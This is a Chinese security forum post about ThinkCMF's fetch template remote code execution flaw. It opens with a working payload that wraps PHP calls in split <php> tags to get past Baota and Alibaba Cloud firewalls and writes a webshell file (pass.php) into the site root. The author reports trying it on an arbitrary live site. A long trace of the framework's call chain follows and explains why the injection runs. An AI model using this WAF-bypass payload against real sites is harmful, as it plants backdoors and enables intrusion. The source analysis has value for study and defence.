ThinkCmf 文件包含漏洞 fetch 函数 – 过宝塔防火墙 Poc – 技术文章 – 90Sec

最近看到一个公众号有关 thinkcmf 的文章看了一波随便找了一个站点搞了一波发现被宝塔和阿里云各种拦截于是就有了这一波

poc:

```
?
a=fetch&templateFile=&prefix=&content=%3Cphp%3Efile_put_contents%3C/php%3E%3Cphp%3E(%27pass.php%27,%3C/php%3E%3Cphp%3Eurldecode%3C/php%3E%3Cphp%3E(urldecode%3C/php%3E%3Cphp%3E(%3C/php%3E%3Cphp%3Ebase64_decode%3C/php%3E%3Cphp%3E(%22Yourbase64Encodedata%22))))%3C/php%3E
```

poc 会在根目录下生产 php 文件。另外如果遇到过滤单引号双引号甚至是根目录没有权限的问题。大家自己发挥吧 。这个就不分享了。。 

另外我贴一下分析过程。我看了论坛有很多分析的人了我就详细分析了。我贴出流程。别人用调试器我这没有调试。主要我这不太会用调试就用 notepad++ 分析吧 

```
fetch 模板漏洞分析流程
框架加载上忽略
调用链
H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Controller.class.php


  /**
     *  获取输出页面内容
     * 调用内置的模板引擎fetch方法,
     * @access protected
     * @param string $templateFile 指定要调用的模板文件
     * 默认为空 由系统自动定位模板文件
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀*
     * @return string
     */
    protected function fetch($templateFile='',$content='',$prefix='') { //实际
```

```
调用者1 H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\View.class.php

        return $this->view->fetch($templateFile,$content,$prefix);
    }

H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\View.class.php



/**
     * 解析和获取模板内容 用于输出
     * @access public
     * @param string $templateFile 模板文件名
     * @param string $content 模板输出内容
     * @param string $prefix 模板缓存前缀
     * @return string
     */
    public function fetch($templateFile='',$content='',$prefix='') {  //实际调用者2
        if(empty($content)) {
            $templateFile   =   $this->parseTemplate($templateFile);
            // 模板文件不存在直接返回
            if(!is_file($templateFile))
E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
        }else{
            defined('THEME_PATH') or    define('THEME_PATH', $this-
>getThemePath());
        }
        // 页面缓存
        ob_start();   //开启不输出到页面中
        ob_implicit_flush(0);
        if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
            $_content   =   $content;
            // 模板阵列变量分解成为独立变量
            extract($this->tVar, EXTR_OVERWRITE);
            // 直接载入PHP模板
            empty($_content)?include $templateFile:eval('?>'.$_content);
        }else{
            // 视图解析标签
            $params = array('var'=>$this-
>tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
            Hook::listen('view_parse',$params);
        }
        // 获取并清空缓存
        $content = ob_get_clean();
        // 内容过滤标签
        Hook::listen('view_filter',$content);
        // 输出模板文件
        return $content;
    }
```

```
H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Hook.class.php

/**
     * 监听标签的插件
     * @param string $tag 标签名称
     * @param mixed $params 传入参数
     * @return void
     */
    static public function listen($tag, &$params=NULL) { //实际调用者3
        if(isset(self::$tags[$tag])) {  //view_parse
            if(APP_DEBUG) {
                G($tag.'Start');
                trace('[ '.$tag.' ] --START--','','INFO');
            }
            foreach (self::$tags[$tag] as $name) {
                APP_DEBUG && G($name.'_start');
                $result =   self::exec($name, $tag,$params);
                if(APP_DEBUG){
                    G($name.'_end');
                    trace('Run '.$name.' [
RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
                }
                if(false === $result) {
                    // 如果返回false 则中断插件执行
                    return ;
                }
            }
            if(APP_DEBUG) { // 记录行为的执行日志
                trace('[ '.$tag.' ] --END-- [
RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
            }
        }
        return;
    }


H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Hook.class.php



/**
     * 执行某个插件
     * @param string $name 插件名称
     * @param string $tag 方法名（标签名）
     * @param Mixed $params 传入的参数
     * @return void
     */
    static public function exec($name, $tag,&$params=NULL) { //实际调用者4
        if('Behavior' == substr($name,-8) ){
            // 行为扩展必须用run入口方法
            $class = $name;
            $tag    =   'run';
```

```
        }else{
            $class    =  "plugins\\{$name}\\{$name}Plugin";
        }
        if(class_exists($class)){ //ThinkCMF NOTE 插件或者行为存在时才执行
            $addon    = new $class();
            return $addon->$tag($params);
        }

    }
H:\thinphp-
rce\WWW\thinkcmf\simplewind\Core\Library\Behavior\ParseTemplateBehavior.class.
php



// 行为扩展的执行入口必须是run
    public function run(&$_data){ //实际调用者5
        $engine             =   strtolower(C('TMPL_ENGINE_TYPE'));
        $_content           =   empty($_data['content'])?
$_data['file']:$_data['content'];
        $_data['prefix']    =   !empty($_data['prefix'])?
$_data['prefix']:C('TMPL_CACHE_PREFIX');
        if('think'==$engine){ // 采用Think模板引擎
            if((!empty($_data['content']) && $this-
>checkContentCache($_data['content'],$_data['prefix']))
                ||  $this->checkCache($_data['file'],$_data['prefix'])) { //
缓存有效
                //载入模版缓存文件

Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE
_SUFFIX'),$_data['var']);
            }else{
                //缓存文件不存在


                $tpl = Think::instance('Think\\Template'); //
                // 编译并加载模板文件
                $tpl->fetch($_content,$_data['var'],$_data['prefix']);
            }
        }else{
            // 调用第三方模板引擎解析和输出
            if(strpos($engine,'\\')){
                $class  =   $engine;
            }else{
                $class    =  'Think\\Template\\Driver\\'.ucwords($engine);
            }
            if(class_exists($class)) {
                $tpl    =  new $class;
                $tpl->fetch($_content,$_data['var']);
            }else {  // 类没有定义
                E(L('_NOT_SUPPORT_').': ' . $class);
            }
```

```
        }
    }
H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template.class.php
```

关键点

```
  public function fetch($templateFile,$templateVar,$prefix='') { //实际调用者6
        $this->tVar         =   $templateVar;
        $templateCacheFile  =   $this->loadTemplate($templateFile,$prefix);
        Storage::load($templateCacheFile,$this->tVar,null,'tpl'); //加载模板
    }
H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template.class.php

/**
     * 加载主模板并缓存
     * @access public
     * @param string $templateFile 模板文件
     * @param string $prefix 模板标识前缀
     * @return string
     * @throws ThinkExecption
     */
    public function loadTemplate ($templateFile,$prefix='') {//实际调用者7
        if(is_file($templateFile)) {  //判断是否是文件
            $this->templateFile    =  $templateFile;
            // 读取模板文件内容
            $tmplContent =  file_get_contents($templateFile);
        }else{

            //不是文件就是内容了
            $tmplContent =  $templateFile;
        }
         // 根据模版文件名定位缓存文件
        $tmplCacheFile = $this-
>config['cache_path'].$prefix.md5($templateFile).$this-
>config['cache_suffix'];

        // 判断是否启用布局
        if(C('LAYOUT_ON')) {
            if(false !== strpos($tmplContent,'{__NOLAYOUT__}')) { // 可以单独定
义不使用布局
                $tmplContent = str_replace('{__NOLAYOUT__}','',$tmplContent);
            }else{ // 替换布局的主体内容
                $layoutFile  =  THEME_PATH.C('LAYOUT_NAME').$this-
>config['template_suffix'];
                // 检查布局文件
                if(!is_file($layoutFile)) {
                    E(L('_TEMPLATE_NOT_EXIST_').':'.$layoutFile);
                }
                $tmplContent = str_replace($this-
>config['layout_item'],$tmplContent,file_get_contents($layoutFile));
            }
```

```
        }
        // 编译模板内容
        $tmplContent =  $this->compiler($tmplContent);
        Storage::put($tmplCacheFile,trim($tmplContent),'tpl');  //写入缓存
        return $tmplCacheFile;
    }
```

H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template.class.php

```
  protected function compiler($tmplContent) { //实际调用者8
        //模板解析
        $tmplContent =  $this->parse($tmplContent);
        // 还原被替换的Literal标签
        $tmplContent =  preg_replace_callback('/<!--###literal(\d+)###-->/is',
array($this, 'restoreLiteral'), $tmplContent);
        // 添加安全代码
        $tmplContent =  '<?php if (!defined(\'THINK_PATH\')) exit();?
>'.$tmplContent;
        // 优化生成的php代码
        $tmplContent = str_replace('?><?php','',$tmplContent);
        // 模版编译过滤标签
        Hook::listen('template_filter',$tmplContent);
        return strip_whitespace($tmplContent);
    }
```

H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template.class.php

```
public function parse($content) { //实际调用者9
        // 内容为空不解析
        if(empty($content)) return '';
        $begin      =   $this->config['taglib_begin'];
        $end        =   $this->config['taglib_end'];
        // 检查extend语法
        $content    =   $this->parseExtend($content);//ThinkCMF NOTE
        // 检查include语法
        $content    =   $this->parseInclude($content);
        // 检查PHP语法
        $content    =   $this->parsePhp($content);
        // 首先替换literal标签内容
        $content    =
preg_replace_callback('/'.$begin.'literal'.$end.'(.*?)'.$begin.'\/literal'.$en
d.'/is', array($this, 'parseLiteral'),$content);

        // 获取需要引入的标签库列表
        // 标签库只需要定义一次，允许引入多个一次
        // 一般放在文件的最前面
        // 格式：<taglib name="html,mytag..." />
        // 当TAGLIB_LOAD配置为true时才会进行检测
```

```
        if(C('TAGLIB_LOAD')) {
            $this->getIncludeTagLib($content);
            if(!empty($this->tagLib)) {
                // 对导入的TagLib进行解析
                foreach($this->tagLib as $tagLibName) {
                    $this->parseTagLib($tagLibName,$content);
                }
            }
        }
        // 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀
        if(C('TAGLIB_PRE_LOAD')) {
            $tagLibs =  explode(',',C('TAGLIB_PRE_LOAD'));
            foreach ($tagLibs as $tag){
                $this->parseTagLib($tag,$content);
            }
        }
        // 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀
        $tagLibs =  explode(',',C('TAGLIB_BUILD_IN'));
        foreach ($tagLibs as $tag){
            $this->parseTagLib($tag,$content,true);
        }
        //解析普通模板标签 {$tagName}
        $content = preg_replace_callback('/('.$this->config['tmpl_begin'].')
([^\d\w\s'.$this->config['tmpl_begin'].$this->config['tmpl_end'].'].+?)
('.$this->config['tmpl_end'].')/is', array($this, 'parseTag'),$content);
        return $content;
    }
H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template.class.php



/**
     * TagLib库解析
     * @access public
     * @param string $tagLib 要解析的标签库
     * @param string $content 要解析的模板内容
     * @param boolean $hide 是否隐藏标签库前缀
     * @return string
     */
    public function parseTagLib($tagLib,&$content,$hide=false) { //实际调用者10
最终解析payload的地方


        $begin      =   $this->config['taglib_begin'];
        $end        =   $this->config['taglib_end'];
        if(strpos($tagLib,'\\')){
            // 支持指定标签库的命名空间
            $className  =   $tagLib;
            $tagLib     =   substr($tagLib,strrpos($tagLib,'\\')+1);
        }else{
            $className  =   'Think\\Template\TagLib\\'.ucwords($tagLib);
```

```
            //H:\thinphp-
rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template\TagLib\Cx.class.php
        }
        $tLib       =   \Think\Think::instance($className);
        $that       =   $this;


        foreach ($tLib->getTags() as $name=>$val){
            $tags = array($name);
            if(isset($val['alias'])) {// 别名设置
                $tags       = explode(',',$val['alias']);
                $tags[]     =  $name;
            }
            $level      =   isset($val['level'])?$val['level']:1;
            $closeTag   =   isset($val['close'])?$val['close']:true;
            foreach ($tags as $tag){
                $parseTag = !$hide? $tagLib.':'.$tag: $tag;// 实际要解析的标签名
称
                if(!method_exists($tLib,'_'.$tag)) {
                    // 别名可以无需定义解析方法
                    $tag  =  $name;
                }
                $n1 = empty($val['attr'])?'(\s*?)':'\s([^'.$end.']*)';
                $this->tempVar = array($tagLib, $tag);

                if (!$closeTag){
                    $patterns       =
'/'.$begin.$parseTag.$n1.'\/(\s*?)'.$end.'/is';
                    $content        = preg_replace_callback($patterns,
function($matches) use($tLib,$tag,$that){
                        return $that-
>parseXmlTag($tLib,$tag,$matches[1],$matches[2]);
                    },$content);
                }else{
                    $patterns       =
'/'.$begin.$parseTag.$n1.$end.'(.*?)'.$begin.'\/'.$parseTag.'(\s*?)'.$end.'/is
';

                    //漏洞触发点匹配php代码点


                    for($i=0;$i<$level;$i++) {

$content=preg_replace_callback($patterns,function($matches)
use($tLib,$tag,$that,$patterns){
                            // var_dump($patterns);//(.*?)<\/php(\s*?)>/is
                            // var_dump($matches[1]);
                            // var_dump($tag);
                            // exit;
                            return $that-
>parseXmlTag($tLib,$tag,$matches[1],$matches[2]);  //回调替换 内容在 回到9在此循环
如果内容中有<php>xxxxxxxxxx</php>只要匹配到了就进行回到调用者九进行循环直到匹配不到位置构
```

```
造payload关键
                        },$content);


                    }



                }
            }
        }
    }
H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Template.class.php



public function parseXmlTag($tagLib,$tag,$attr,$content) {//实际调用者11
        if(ini_get('magic_quotes_sybase'))
            $attr   =   str_replace('\"','\'',$attr);
        $parse      =   '_'.$tag;
        $content    =   trim($content);

        $tags       =   $tagLib->parseXmlAttr($attr,$tag);
        return $tagLib->$parse($tags,$content); //继续回到实际调用者九执行匹配替换
操作
    }

H:\thinphp-rce\WWW\thinkcmf\simplewind\Core\Library\Think\Storage.class.php
全部模板解析完毕之后 执行调用者12


static public function __callstatic($method,$args){//实际调用者12
Think\\Storage\\Driver\\File.php
        //调用缓存驱动的方法
        if(method_exists(self::$handler, $method)){  //存在load方法调用
           return call_user_func_array(array(self::$handler,$method), $args);
        }
    }


H:\thinphp-
rce\WWW\thinkcmf\simplewind\Core\Library\Think\Storage\Driver\File.class.php
包含缓存文件触发漏洞


/**
     * 加载文件
     * @access public
     * @param string $filename  文件名
     * @param array $vars  传入变量
     * @return void
     */
    public function load($_filename,$vars=null){ //实际调用者13
        if(!is_null($vars)){
```

```
            extract($vars, EXTR_OVERWRITE);
        }
        include $_filename;
    }
```

调用图解